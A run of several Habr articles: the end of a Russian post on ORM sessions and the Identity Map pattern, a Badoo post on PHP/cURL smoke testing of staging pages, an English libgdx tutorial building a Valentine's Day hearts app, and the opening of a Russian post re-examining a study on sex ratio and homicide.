1. Во-первых сессия откроет транзакцию прозрачным для программиста образом перед самой отправкой запросов в базу, т.е. мы не держим транзакцию долго открытой.
2. Во-вторых, сессия сгруппирует операции обновления данных и мы избавимся от множества мелких запросов и снизим нагрузку на базу.
3. В-третьих, сессия за наc аггрегирует в памяти изменения и отправит запросы в правильном порядке, выполнив сортировку по зависимостям.
Чтобы было нагляднее, приведу пример входных данных и sql, который прийдет для них в базу.
```
USERS_RECORDS = [
{
'user': {
'username': 'donald',
'name': 'Donald',
'last_name': 'Duck'
},
'entries': [
{
'type': 'phone',
'phone': '+7 941 234 43 45'
}
]
},
{
'user': {
'username': 'bullwi',
'name': 'Bullwinkle',
'last_name': 'Moose'
},
'entries': [
{
'type': 'fields',
'name': 'Rocky',
'last_name': 'Squirrel'
}
]
}
]
process_users(USERS_RECORDS)
```
```
BEGIN
INSERT INTO users (username, name, last_name) VALUES ('donald', 'Donald', 'Duck'),('bullwi', 'Rocky', 'Squirrel') RETURNING users.id
INSERT INTO phone_numbers (number, user_id) VALUES ('+7 941 234 43 45', 3) RETURNING phone_numbers.id
COMMIT
```
Обратите внимание на порядок запросов и их число. В частности сначала создаются пользователи вне зависимости от того, в каком порядке объекты создавались в приложении, а для создания пользователей нам потребовался всего один запрос.
### Identity Map (IM, Карта идентичности)
Этот паттерн гарантирует, что объекты, загруженные из базы присутствуют в приложении только в одном экземпляре. Помимо гарантии уникальности сессия в рамках этого шаблона может сокращать число запросов к базе. Но не во всех случаях.
Рассмотрим пример.
```
u1 = User.objects.filter(username='donald').first()
u2 = User.objects.filter(username='donald').first()
u3 = User.objects.get(3) # Donald
u4 = User.objects.filter(id=3).first() # Donald
assert u1 is u2 is u3 is u4 # Fails
```
В случае ActiveRecord-а в базу уйдет 4 запроса на выборку и мы получим 4 разных объекта на уровне приложения. Это приводит опять же к тому, что:
1. Нам нужно следить за порядком операций
2. Объекты могут содержать устаревшие данные
```
def process_user_one():
u = User.objects.get(3) # Donald
u.name = 'Don'
return u
def process_user_two():
u = User.objects.get(3) # Donald
if u.name == 'Don':
p = PhoneNumber(user=u, number='+1 234 443 23 42')
p.save()
u.name = 'Donald'
return u
user1 = process_user_one()
user1.save()
user2 = process_user_two()
user2.save()
assert user1.name == 'Donald' # Fails, user1.name == ‘Don’
assert user2.name == 'Donald'
```
Как видим, нам нужно позаботиться, чтобы `user1` был сохранен в базу раньше вызова `process_user_two()`, в противном случае результат будет другим. Вторая же проблема - это устаревшие данные: `user1` все еще зовут Don. В большом приложении это может стать источником неприятных ошибок.
В случае использования сессий обе эти проблемы будут решены, плюс число запросов к базе может сократиться.
```
u1 = session.query(User).filter_by(username='donald').one()
u2 = session.query(User).filter_by(username='donald').one()
u3 = session.query(User).get(3) # Donald
u4 = session.query(User).filter_by(id=3).one() # Donald
assert u1 is u2 is u3 is u4 # Success
```
В данном примере в базу уйдет только 3 запроса. Когда мы вызовем метод `.get()`, сессия возьмет нашего Дональда из своей карты объектов без доп. запроса.
```
def process_user_one(session):
u = session.query(User).get(3)
u.name = 'Don'
return u
def process_user_two(session):
u = session.query(User).get(3)
if u.name == 'Don':
p = PhoneNumber(user=u, number='+1 234 443 23 42')
session.add(p)
u.name = 'Donald'
return u
with Session() as sess:
user1 = process_user_one(sess)
user2 = process_user_two(sess)
assert user1.name == 'Donald' # Success
assert user2.name == 'Donald' # Success
```
Здесь же нам не обязательно сохранять `user1` в базу раньше времени и оба объекта содержат свежие значение. | https://habr.com/ru/post/597999/ | null | ru | null |
# Покрываем проект smoke-тестами, пока он не сгорел
Привет, Хабр! Как-то раз на нашем внутреннем семинаре мой руководитель – глава отдела тестирования – начал свою речь со слов «тестирование не нужно». В зале все притихли, некоторые даже пытались упасть со стульев. Он продолжил свою мысль: без тестирования вполне возможно создать сложный и дорогостоящий проект. И, скорее всего, он будет работать. Но представьте, насколько увереннее вы будете себя ощущать, зная, что продукт работает как надо.
В Badoo релизы происходят довольно часто. Например, серверная часть наравне с desktop web релизится дважды в день. Так что мы не понаслышке знаем, что сложное и медленное тестирование – камень преткновения разработки. Быстрое же тестирование – это счастье. Итак, сегодня я расскажу о том, как в компании Badoo устроено smoke-тестирование.
Что такое smoke-тестирование
----------------------------
*Первое своё применение этот термин получил у печников, которые, собрав печь, закрывали все заглушки, затапливали её и смотрели, чтобы дым шёл только из положенных мест. Википедия*
В оригинальном своём применении smoke-тестирование предназначено для проверки самых простых и очевидных кейсов, без которой любой другой вид тестирования будет неоправданно излишним.
Давайте рассмотрим простой пример. Предпродакшн нашего приложения находится по адресу bryak.com (любые совпадения с реальными сайтами случайны). Мы подготовили и залили туда новый релиз для тестирования. Что стоит проверить в первую очередь? Я бы начал с проверки того, что приложение всё ещё открывается. Если web-сервер нам отвечает «200», значит, всё хорошо и можно приступать к проверке функционала.
Как автоматизировать такую проверку? В принципе, можно написать функциональный тест, который будет поднимать браузер, открывать нужную страницу и убеждаться, что она отобразилась как надо. Однако, у этого решения есть ряд минусов. Во-первых, это долго: процесс запуска браузера займёт больше времени, чем сама проверка. Во-вторых, это требует поддержания дополнительной инфраструктуры: ради такого простого теста нам потребуется где-то держать сервер с браузерами. Вывод: надо решить задачу иначе.
Наш первый smoke-тест
---------------------
В Badoo серверная часть написана по большей части на PHP. Unit-тесты по понятным причинам пишутся на нём же. Итого у нас уже есть PHPUnit. Чтобы не плодить технологии без необходимости, мы решили писать smoke-тесты тоже на PHP. Помимо PHPUnit, нам потребуется клиентская библиотека работы с URL (libcurl) и PHP extension для работы с ней – cURL.
По сути, тесты просто делают нужные нам запросы на сервер и проверяют ответы. Всё завязано на методе getCurlResponse() и нескольких типах ассертов.
Сам метод выглядит примерно так:
```
public function getCurlResponse(
$url,
array $params = [
‘cookies’ => [],
‘post_data’ => [],
‘headers’ => [],
‘user_agent’ => [],
‘proxy’ => [],
],
$follow_location = true,
$expected_response = ‘200 OK’
)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
if (isset($params[‘cookies’]) && $params[‘cookies’]) {
$cookie_line = $this->prepareCookiesDataByArray($params[‘cookies’]);
curl_setopt($ch, CURLOPT_COOKIE, $cookie_line);
}
if (isset($params[‘headers’]) && $params[‘headers’]) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $params[‘headers’]);
}
if (isset($params[‘post_data’]) && $params[‘post_data’]) {
$post_line = $this->preparePostDataByArray($params[‘post_data’]);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_line);
}
if ($follow_location) {
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
}
if (isset($params[‘proxy’]) && $params[‘proxy’]) {
curl_setopt($ch, CURLOPT_PROXY, $params[‘proxy’]);
}
if (isset($params[‘user_agent’]) && $params[‘user_agent’]) {
$user_agent = $params[‘user_agent’];
} else {
$user_agent = USER_AGENT_DEFAULT;
}
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
$response = curl_exec($ch);
$this->logActionToDB($url, $user_agent, $params);
if ($follow_location) {
$this->assertTrue(
(bool)$response,
'Empty response was received. Curl error: ' . curl_error($ch) . ', errno: ' . curl_errno($ch)
);
$this->assertServerResponseCode($response, $expected_response);
}
curl_close($ch);
return $response;
}
```
Сам метод умеет по заданному URL возвращать ответ сервера. На вход принимает параметры, такие как cookies, headers, user agent и прочие данные, необходимые для формирования запроса. Когда ответ от сервера получен, метод проверяет, что код ответа совпадает с ожидаемым. Если это не так, тест падает с ошибкой, сообщающей об этом. Это сделано для того, чтобы было проще определить причину падения. Если тест упадёт на каком-нибудь ассерте, сообщив нам, что на странице нет какого-то элемента, ошибка будет менее информативной, чем сообщение о том, что код ответа, например, «404» вместо ожидаемого «200».
Когда запрос отправлен и ответ получен, мы логируем запрос, чтобы в дальнейшем при необходимости легко воспроизвести цепочку событий, если тест упадёт или сломается. Я об этом расскажу ниже.
Самый простой тест выглядит примерно так:
```
public function testStartPage()
{
$url = ‘bryak.com’;
$response = $this->getCurlResponse($url);
$this->assertHTMLPresent('', $response, 'Error: test cannot find body element on the page.');
}
```
Такой тест проходит менее чем за секунду. За это время мы проверили, что стартовая страница отвечает «200», и на ней есть элемент body. С тем же успехом мы можем проверить любое количество элементов на странице, продолжительность теста существенно не изменится.
Плюсы таких тестов:
* скорость – тест можно запускать так часто, как это необходимо. Например, на каждое изменение кода;
* не требуют специального софта и железа для работы;
* их несложно писать и поддерживать;
* они стабильные.
По поводу последнего пункта. Я имею в виду – не менее стабильные, чем сам проект.
Авторизация
-----------
Представим, что с момента, как мы написали наш первый smoke-тест, прошло три дня. Само собой, за это время мы покрыли все неавторизованные страницы, какие только нашли, тестами. Немного посидели, порадовались, но потом осознали, что всё самое важное в нашем проекте находится за авторизацией. Как бы получить возможность это тоже тестировать?
Чем отличается авторизованная страница от неавторизованной? С точки зрения сервера всё просто: если в запросе есть информация, по которой пользователя можно идентифицировать, нам вернётся авторизованная страница.
Самый просто вариант – авторизационная cookie. Если добавить её к запросу, то сервер нас «узнает». Такую cookie можно захардкодить в тесте, если её время жизни довольно большое, а можно получать автоматически, отправляя запросы на страницу авторизации. Давайте подробнее рассмотрим второй вариант.
На нашем сайте страница авторизации выглядит так:
Нас интересует форма, куда надо ввести логин и пароль пользователя.
Открываем эту страницу в любом браузере и открываем инспектор. Вводим данные пользователя и сабмитим форму.
В инспекторе появился запрос, который нам надо имитировать в тесте. Можно посмотреть, какие данные, помимо очевидных (логин и пароль), отсылаются на сервер. Для каждого проекта по-разному: это может быть remote token, данные каких-либо cookies, полученных ранее, user agent и так далее. Каждый из этих параметров придётся предварительно получить в тесте, прежде чем сформировать запрос на авторизацию.
В инструментах разработчика любого браузера можно скопировать запрос, выбрав пункт copy as cURL. В таком виде команду можно вставить в консоль и рассматривать там. Там же её можно опробовать, поменяв или добавив параметры.
В ответ на такой запрос сервер вернёт нам cookies, которые мы будем добавлять в дальнейшие запросы, чтобы тестировать авторизованные страницы.
Поскольку авторизация – довольно долгий процесс, авторизационную cookie я предлагаю получать только один раз для каждого пользователя и сохранять где-то. У нас, например, такие cookies хранятся в массиве. Ключом является логин пользователя, а значением – информация о них. Если для следующего пользователя ключа ещё нет, авторизуемся. Если есть – делаем интересующий нас запрос сразу.
Пример кода теста, проверяющего авторизованную страницу, выглядит примерно так:
```
public function testAuthPage()
{
$url = ‘bryak.com’;
$cookies = $this->getAuthCookies(‘employee@bryak.com’, ‘12345’);
$response = $this->getCurlResponse($url, [‘cookies’ => $cookies]);
$this->assertHTMLPresent('', $response, 'Error: test cannot find body element on the page.');
}
```
Как мы видим, добавился метод, который получает авторизационную cookie и просто добавляет её в дальнейший запрос. Сам метод реализуется довольно просто:
```
public function getAuthCookies($email, $password)
{
// check if cookie already has been got
If (array_key_exist($email, self::$known_cookies)) {
return self::$known_cookies[$email];
}
$url = self::DOMAIN_STAGING . ‘/auth_page_adds’;
$post_data = [‘email’ => $email, ‘password’ => $password];
$response = $this->getCurlResponse($url, [‘post_data’ => $post_data]);
$cookies = $this->parseCookiesFromResponse($response);
// save cookie for further use
self::$known_cookies[$email] = $cookies;
return $cookies;
}
```
Метод сначала проверяет, есть ли для данного e-mail (в вашем случаем это может быть логин или что-то ещё) уже полученная ранее авторизационная cookie. Если есть, он её возвращает. Если нет, он делает запрос на авторизационную страницу (например, bryak.com/auth\_page\_adds) с необходимыми параметрами: e-mail и пароль пользователя. В ответ на этот запрос сервер присылает заголовки, среди которых есть интересующие нас cookies. Выглядит это примерно так:
```
HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: name=value; expires=Wed, 30-Nov-2016 10:06:24 GMT; Max-Age=-86400; path=/; domain=bryak.com
```
Из этих заголовков нам при помощи несложного регулярного выражения надо получить название cookie и её значение (в нашем примере это name=value). У нас метод, который парсит ответ, выглядит так:
```
$this->assertTrue(
(bool)preg_match_all('/Set-Cookie: (([^=]+)=([^;]+);.*)\n/', $response, $mch1),
'Cannot get "cookies" from server response. Response: ' . $response
);
```
После того, как cookies получены, мы можем смело добавлять их в любой запрос, чтобы сделать его авторизованным.
Разбор падающих тестов
----------------------
Из вышесказанного следует, что такой тест – это набор запросов к серверу. Делаем запрос, совершаем манипуляцию с ответом, делаем следующий запрос и так далее. В голову закрадывается мысль: если такой тест упадёт на десятом запросе, может оказаться непросто разобраться в причине его падения. Как упростить себе жизнь?
Прежде всего я бы хотел посоветовать максимально атомизировать тесты. Не стоит в одном тесте проверять 50 различных кейсов. Чем тест проще, тем с ним проще будет в дальнейшем.
Ещё полезно собирать артефакты. Когда наш тест падает, он сохраняет последний ответ сервера в HTML-файлик и закидывает в хранилище артефактов, где этот файлик можно открыть из браузера, указав название теста.
Например, тест у нас упал на том, что не может найти на странице кусочек HTML:
```
Link
```
Мы заходим на наш коллектор и открываем соответствующую страницу:
С этой страницей можно работать так же, как с любой другой HTML-страничкой в браузере. Можно при помощи CSS-локатора попытаться разыскать пропавший элемент и, если его действительно нет, решить, что либо он изменился, либо потерялся. Возможно, мы нашли баг! Если элемент на месте, возможно, мы где-то ошиблись в тесте – надо внимательно посмотреть в эту сторону.
Ещё упростить жизнь помогает логирование. Мы стараемся логировать все запросы, которые делал упавший тест, так, чтобы их легко можно было повторить. Во-первых, это позволяет быстро руками совершить набор аналогичных действий для воспроизведения ошибки, во-вторых – выявить часто падающие тесты, если такие у нас имеются.
Помимо помощи в разборе ошибок, логи, описанные выше, помогают нам формировать список авторизованных и неавторизованных страниц, которые мы протестировали. Глядя на него, легко искать и устранять пробелы.
Последнее, но не по важности, что могу посоветовать – тесты должны быть настолько удобными, насколько это возможно. Чем проще их запустить, тем чаще их будут использовать. Чем понятнее и лаконичнее отчет о падении, тем внимательнее его изучат. Чем проще архитектура, тем больше тестов будет написано и тем меньше времени будет занимать написание нового.
Если вам кажется, что тестами пользоваться неудобно – скорее всего вам не кажется. С этим необходимо бороться как можно скорее. В противном случае вы рискуете в какой-то момент начать обращать меньше внимания на эти тесты, а это уже может привести к пропуску ошибки на продакшн.
На словах мысль кажется очевидной, согласен. Но на деле всем нам есть куда стремиться. Так что упрощайте и оптимизируйте свои творения и живите без багов. :)
Итоги
-----
На данный момент у нас \*открываю Тимсити\* ого, уже 605 тестов. Все тесты, если их запускать не параллельно, проходят чуть меньше, чем за четыре минуты.
За это время мы убеждаемся, что:
* наш проект открывается на всех языках (которых у нас более 40 на продакшене);
* для основных стран отображаются корректные формы оплаты с соответствующим набором способов оплаты;
* корректно работают основные запросы к API;
* корректно работает лендинг для редиректов (в том числе и на мобильный сайт при соответствующем юзер-агенте);
* все внутренние проекты отображаются правильно.
Тестам на Selenium WebDriver для всего этого потребовалось бы в разы больше времени и ресурсов.
Конечно, это не замена Selenium. Нам всё равно придётся проверять корректное поведение клиента и кросс-браузерные кейсы. Мы можем заменить лишь те тесты, которые проверяют поведение сервера. Но, помимо этого, мы можем осуществлять предварительное тестирование, быстрое и простое. Если на этапе smoke-тестирования нашлись ошибки и «дым идёт не оттуда», возможно, запускать долгий набор тяжеловесных Selenium-тестов до фиксов смысла нет? Это уже на ваше усмотрение! :)
Спасибо за внимание.
*Виталий Котов, QA-инженер по автоматизации.* | https://habr.com/ru/post/316874/ | null | ru | null |
# Valentine's Day Application on Libgdx
Every year there are a lot of articles dedicated to Valentine's Day. I also decided to get involved in this topic and create something original and unusual. The idea was to create a simple Android application with hearts that would have their physical models and interact with each other. Then I added text, sounds, particles and some other effects. The resulting app was working and quite original! In this article I will describe the creation process, as well as the capabilities and pitfalls of the [**libgdx**](https://libgdx.badlogicgames.com/) library.
[](https://habr.com/en/post/440298/).
Contents
--------
* [Programs and tools](#programs-and-tools)
* [Hello World](#hello-world)
* [General](#general)
* [Textures](#textures)
* [Fonts](#fonts)
* [Physics](#physics)
* [Particle system](#particle-system)
* [Sounds](#sounds)
* [Conclusion](#conclusion)
* [Source code and executables](#source-code-and-executables)
Programs and tools
------------------
To implement this idea, I used the following programs and libraries:
1. [**IntelliJ IDEA**](http://en.wikipedia.org/wiki/IntelliJ_IDEA) — an IDE for cross-platform applications. Alternatively you can use [Android Studio](https://developer.android.com/studio/), [Eclipse](https://www.eclipse.org/).
2. [**libgdx**](https://libgdx.badlogicgames.com/) — a cross-platform (PC, Mac, Linux, Android) Java-library for developing games and other graphical applications. This library is distributed under the Apache License 2.0. Some code snippets were optimized using JNI (for example, Box2d).
3. [**box2d-editor**](https://github.com/MovingBlocks/box2d-editor) — an editor for creating physical models used in the physical engine `box2d`, which is built into `libgdx`. Here it will be used for matching the image of the heart with its physical model.
4. [**Hiero bitmap font generator**](https://github.com/libgdx/libgdx/wiki/Hiero) — a program to convert vector fonts to raster (since in `libgdx` only raster fonts are supported).
5. [**Particle Editor**](https://github.com/libgdx/libgdx/wiki/2D-Particle-Editor) — an editor for creating particle systems, developed by the creator of `libgdx`. It is used for particles in the "explosion" effect during the destruction of the heart.
6. [**Paint.NET**](http://www.getpaint.net/index.html) — an image editor, it was used to edit the image of the heart and to create the background.
All these programs and components are freely distributed, and this is a big plus. I have chosen `libgdx`, because, firstly, I already have some experience with it, and, secondly, using `libgdx` you have no need in a slow Android emulator, since it is cross-platform and allows testing applications in native Java environment and then compiling them for Android.
Hello World
-----------
First, I’ll tell in a few words how to create libgdx projects. Using `gdx-setup.jar`, generate a project template (based on Gradle), which specifies target platforms. Currently, `Desktop`, `Android`, `Ios`, `Html` are supported. To be honest, I failed to try the last two of them, as I don't have an iOS device, and there are some difficulties with HTML that I haven't resolved yet.
You can also select the extensions you will use. In our case, this is the Box2d physics library.
However, all this is described in the wiki: [Creating a libgdx project](https://github.com/libgdx/libgdx/wiki/Project-Setup-Gradle).
After generation, three folders are created:
* core
* desktop
* android
In the last two, `DesktopLauncher` and `AndroidLauncher` respectively are placed, which look like this:
```
public class DesktopLauncher {
public static void main (String[] arg) {
LwjglApplicationConfiguration config = new LwjglApplicationConfiguration();
config.width = 800;
config.height = 480;
new LwjglApplication(new ValentinesDayHeartsApp(), config);
}
}
```
```
public class AndroidLauncher extends AndroidApplication {
@Override
protected void onCreate (Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
AndroidApplicationConfiguration config = new AndroidApplicationConfiguration();
initialize(new ValentinesDayHeartsApp(), config);
}
}
```
There will be no more code specifically for the Android platform, which is a great advantage of the chosen library. It only remains to allow vibration and disable sleep mode (to prevent the application state from being reset) in the `AndroidManifest.xml` configuration. And also set the landscape orientation so that the world will not turn upside down:
```
```
and
```
android:screenOrientation="landscape"
```
The common code is stored in the `core` folder. The main class called `ValentinesDayHeartsApp` implements `ApplicationListener` interface (for handling initialization events, rendering, finalization and other states) and `InputProcessor` interface (for handling user input).
That's all, the skeleton is ready! Now our application will run on both PC and Android.
General
-------
The project has a simple structure: in the `ValentinesDayHeatsApp` class, the `create`, `render`, `dispose`, `touchDown` methods are overridden. The `create` method initializes all resources (textures, fonts, particles, sounds) and creates the physical world. In the `render` method, rendering of all objects of the world occurs:
```
@Override
public void render() {
updatePhysics();
updateBackground();
updateSprites();
updateParticles();
refresh();
renderBackground();
renderHearts();
renderFonts();
renderParticles();
}
```
In the `dispose` method, all resources are released. Yes, yes, despite the fact that Java has automatic garbage collection, unmanaged resources (Box2d objects and some others) still need to be manually released. The `touchDown` method is triggered by a touch or a mouse click. It works like this: if a touch point intersects with a heart, the heart is deleted. Otherwise, a new heart is created in the touch point. The `Heart` object has the following properties:
* `Body` — a physical model.
* `Sprite` — a graphical model (sprite).
* `String` — a text displayed on the heart.
* `Font` — a font.
* `ParticleEffect` — particles created when destroying the heart.
* `BreakSound` — a sound of destroying the heart.
Next, I will describe the components of the application in more detail.
Textures
--------
First of all, I needed to find or draw the heart. Fortunately, I easily googled it and then edited it a bit: added a glow and a transparent background. To load textures in `libgdx`, I used the `Texture` class. Since the same texture can be used several times, additional `Sprite` objects were used. They were drawn using the `render` method. The position of the sprite and the angle are the parameters of rendering and the physical model of the heart. For a change, I decided to draw the hearts in different shades. I used the HSL palette, which allows to manipulate hue, saturation and lightening, not color components like RGB. The formula for RGB -> HSL and HSL -> RGB conversion can be easily found, and I used the methods from the article [Manipulating colors in .NET](http://www.codeproject.com/Articles/19045/Manipulating-colors-in-NET-Part-1) on Java. All conversions are in `prepareHeartsTextures`, `prepareHslData` and `generateHeartTexture` methods. Here is the example:
```
Pixmap pixmap = new Pixmap(fileHandle);
float[][][] result = new float[pixmap.getWidth()][pixmap.getHeight()][4];
for (int i = 0; i < pixmap.getWidth(); i++)
for (int j = 0; j < pixmap.getHeight(); j++) {
int color = pixmap.getPixel(i, j);
float r = (float)((color >> 24) & 0xFF) / 255.0f;
float g = (float)((color >> 16) & 0xFF) / 255.0f;
float b = (float)((color >> 8) & 0xFF) / 255.0f;
float a = (float)(color & 0xFF) / 255.0f;
result[i][j] = ColorUtils.RgbToHsl(r, g, b, a);
}
return result;
```
Unfortunately, the Android app starts with some delay due to the generation of textures with different shades.
Fonts
-----
Since `libgdx` can only work with raster fonts, I used **Hiero Bitmap Font Generator** (version 5), which creates images of all characters in the PNG format, and the FNT file, which contains information about the coordinates of each character in the image. Here is the screenshot of this program:
After the necessary files are generated, the font can be used in the libgdx application as follows:
```
font = new BitmapFont(
Gdx.files.internal("data/Jura-Medium.fnt"),
Gdx.files.internal("data/Jura-Medium.png"), false);
font.setColor(Color.WHITE);
```
And then render it like that:
```
font.draw(spriteBatch, heart.String, screenPosition.x, screenPosition.y);
```
When rendering, I encountered some difficulties: for example, the font cannot be rendered at an angle, as it can be done with a sprite. To solve this problem, you need to change the projection matrix of `SpriteBatch`, and then render the font as follows:
```
Matrix4 projection = spriteBatch.getProjectionMatrix();
projection.setToOrtho2D(0, 0, WorldWidth, WorldHeight);
projection.translate(tmpVector1.x, tmpVector1.y, 0);
projection.rotate(0, 0, 1, body.getAngle() / (float)Math.PI * 180);
projection.translate(-tmpVector1.x, -tmpVector1.y, 0);
Vector2 stringSize = heart.getStringSize();
tmpVector1.add(heart.Size.x / PhysWorldWidth * WorldWidth * CenterDisplacement.x
- stringSize.x * 0.5f,
heart.Size.y / PhysWorldHeight * WorldHeight * CenterDisplacement.y
+ stringSize.y);
spriteBatch.begin();
BitmapFont.BitmapFontData fontData = font.getData();
fontData.setScale(heart.Size.x * FontSizeHeartSizeCoef.x, heart.Size.y * FontSizeHeartSizeCoef.y);
font.draw(spriteBatch, heart.String, tmpVector1.x, tmpVector1.y);
fontData.setScale(1, 1);
spriteBatch.end();
```
Physics
-------
As a physics engine, **box2d** was used.
To match the image of the heart with its physical model, I used **box2d-editor**:
.
Using this program, I created a polygon of the heart, which was automatically broken into convex polygons. The physical model is a set of coordinates of these polygons in JSON format.
Further, this file is used in our application (loading occurs in the `addHeart` method). libgdx can only load files in binary format. Fortunately, the [BodyEditorLoader.java](https://gist.github.com/zudov/5566204) class was found, which can be used to load the model from JSON (i.e. textual representation) as well.
Do not forget to set the density, friction and elasticity of the body:
```
FixtureDef fdef = new FixtureDef();
fdef.density = 0.75f;
fdef.friction = 1.0f;
fdef.restitution = 0.4f;
bodyLoader.attachFixture(body, "Heart", fdef, newWidth);
body.resetMassData();
```
Now our hearts have a physical shell!
In order for the hearts not to fly off the screen, we can add four static rectangles on the sides of our little world. On mobile devices, it is advisable to set the gravity based on the device orientation:
```
if (Gdx.app.getType() == ApplicationType.Android) {
gravity.x = -Gdx.input.getPitch() / 90.0f;
gravity.y = Gdx.input.getRoll() / 90.0f;
gravity.mul(gravityCoef);
world.setGravity(gravity);
}
```
Particle system
---------------
In `libgdx`, the particle system is specified using special files that can be generated in the editor:
.
As you can see, this editor has a lot of settings: you can load different textures, change the lifetime, the form of spreading, transparency and other parameters. I made heart-shaped particles, which will appear when you tap the screen and destroy one large physical heart. In the application, working with particles occurs as follows:
### Initialization
```
ParticleEffect effect = new ParticleEffect();
effect.load(Gdx.files.internal("data/destroy.p"), Gdx.files.internal("data"));
```
### Beginning of the life cycle
It is important not to forget about `start` without which the particles will not be displayed:
```
effect.setPosition(.., ..);
effect.start();
```
Sounds
------
Sounds are loaded as follows:
```
sound = Gdx.audio.newSound(Gdx.files.internal("path/to/file"));
```
And then are played like this:
```
sound.play(1);
```
What could be easier? However, there are also pitfalls. For some reason, the files can be loaded only in the OGG format and **96 kbit/s** bitrate.
Conclusion
----------
I hope that the techniques described in this article will be useful to many of you for developing games using `libgdx`. You can use the source code and resources. Send applications for Valentine's Day to your sweethearts :)
It is worth noting that the text displayed on the hearts can be changed in the `data/words.txt` file. It works even without recompilation.
Source code and executables
---------------------------
* [Source code](https://github.com/KvanTTT/ValentinesDayHearts)
* Cross-platform executable JAR file: [ValentinesDayHearts-1.1.jar](https://github.com/KvanTTT/ValentinesDayHearts/releases/download/1.1/ValentinesDayHearts-1.1.jar)
* APK file for Android: [ValentinesDayHearts-1.1.apk](https://github.com/KvanTTT/ValentinesDayHearts/releases/download/1.1/ValentinesDayHearts-1.1.apk) | https://habr.com/ru/post/440298/ | null | en | null |
# Женщины и убийства: есть ли тут взаимосвязь? [часть 1 из 2]
**UPD** Добавил `R` код ([gist](https://goo.gl/bhOmxp)) для воспроизведения всех результатов
Исследование, недавно [опубликованное в престижном научном журнале Human Nature](http://link.springer.com/article/10.1007%2Fs12110-016-9271-x), обнаружило, что преобладание женщин сопряжено с более высокой преступностью. Вывод сильно противоречит житейскому представлению о том, что где мужчины, там и преступления. Однако он находит поддержку в сравнительно молодых теориях формирования брачных рынков.
Несмотря на стройность использованных в исследовании методов, мне кажется, в нем упущена важная переменная, возможно, ключевая. Было бы прекрасно проверить на тех же данных, но авторы их не публикуют приложением к статье, а собрать самостоятельно — довольно большая работа. Пока решил пойти другим путем — устранить проблемную переменную из дизайна исследования.
Я проверил, наблюдается ли подобная закономерность в Европе на уровне стран. Заинтересованных прошу под кат.
**Немного об этом посте не слишком хабровского формата**Изначально мое внимание к исследованию привлек [пост в блоге демографа Бориса Денисова](http://russiandemographix.blogspot.nl/2016/10/human-biology.html). В [дискуссии с ним же](https://www.facebook.com/boris.denisov/posts/10211165163664105) родилась идея проверить закономерность на странах Европы. Проверил. Результаты интересные. И стал думать, где опубликовать. В очередной раз пришел к выводу, что лучше хабра варианта нет. Понимаю, что тема, вероятно, заинтересует меньшую часть аудитории сообщества. И все же я надеюсь на доброжелательное отношение и ценные комментарии — очень хочется услышать мнения "со стороны". Что касается категоризации статьи — думаю, на хабре не помешал бы хаб (или даже поток) "Академия" ([писал от этом раньше в комментарии](https://habrahabr.ru/post/306790/#comment_9726112)).
В свое оправдание могу сказать, что те, кому не интересна демография, найдут в этом посте `R` код, позволяющий в автоматическом режиме скачать данные о населении из двух прекрасных баз данных — Eurostat и Human Mortality Database и воспроизвести все графики, включая и карты. (Ссылка на код в конце статьи)
Итак, что же меня смутило?
--------------------------
**Чуть подробнее об исследовании**Schacht, R., Tharp, D., & Smith, K. (2016). Marriage markets and male mating effort: violence and crime are elevated where men are rare. Human Nature, 1–12. <https://doi.org/10.1007/s12110-016-9271-x>
Изучив соотношение полов во взрослом населении графств США (более 3 тыс. административных районов) и данные о совершении тяжких преступлений, Райан Шахт, Дуглас Тарп и Кен Смит пришли к выводу, что между показателями есть отчетливая взаимосвязь – чем больше мужчин, тем меньше преступлений (табл. 1).
**Таблица 1. Результаты регрессионной модели, описывающей взаимосвязь коэффициента убийств (на 100 тыс. чел.) и соотношения полов в возрастах 15-45 лет. [N = 3082 counties, DF = 3077; −2loglikelihood = 12,372]**
| Переменная | Коэффициент | Стандартная ошибка | t | p-value |
| --- | --- | --- | --- | --- |
| Пересечение | 5,625 | 0,509 | 11,04 | <0,0001 |
| Соотношение полов, 15-45 лет | -0,033 | 0,003 | -9,50 | <0,0001 |
| Доля бедных (%) | 0,011 | 0,010 | -1,16 | 0,245 |
| Доля белого населения (%) | -0,041 | 0,003 | -12,86 | <0,0001 |
| Север/Юг (0,1) | 0,940 | 0,122 | 7,72 | <0,0001 |
Вывод сильно противоречит представлению о том, что где мужчины, там и преступления. Это интуитивно понятное представление на протяжении десятилетий довольно безосновательно, а лучше сказать спекулятивно, доминировало в социологических работах. В противовес этим теоретическим построениям существуют относительно недавно получившие распространение теории, основанные на моделировании брачных рынков, которые предсказывают обратную зависимость. Недавно пересмотренные социологические теории брачных рынков предсказывают негативный эффект от избытка женщин и недостаточной конкуренции среди мужчин. Именно с этим витком современной научной литературы согласуется эмпирическое исследование Шахта и соавторов. Логика примерно следующая: изобилие женщин приводит к понижению усилий, прикладываемых мужчинами для формирования пар, что в свою очередь ведет к беспорядочной жизни и общему росту преступности.
Источник: [мой Демографический Дайджест в журнале Демоскоп](http://demoscope.ru/weekly/2016/0699/digest01.php)
Несмотря на прелесть анализа малых территорий (при прочих равных всегда приятнее анализировать более дробные данные), возникают большие сомнения насчет возможной упущенной в исследовании переменной — разделение американских графств по принципу центральности/периферийности (urban/rural).
Дело в том, что женщины активнее мужчин во внутренней миграции. Это один из законов миграции Равенштейна-Ли.
**Немного литературы для заинтересованных**Исходные статьи Эрнста-Георга Равенштйна.
* Ravenstein, E. G. (1885). The Laws of Migration. Journal of the Statistical Society of London, 2, 167. <https://doi.org/10.2307/2979181>
* Ravenstein, E. G. (1889). The Laws of Migration. Journal of the Royal Statistical Society, (2), 241. <https://doi.org/10.2307/2979333>
Статья Эверетта Ли, застолбившая за Равенштейном право считаться отцом миграциологии.
* Lee, E. S. (1966). A theory of migration. Demography, 3(1), 47–57. <https://doi.org/10.2307/2060063>
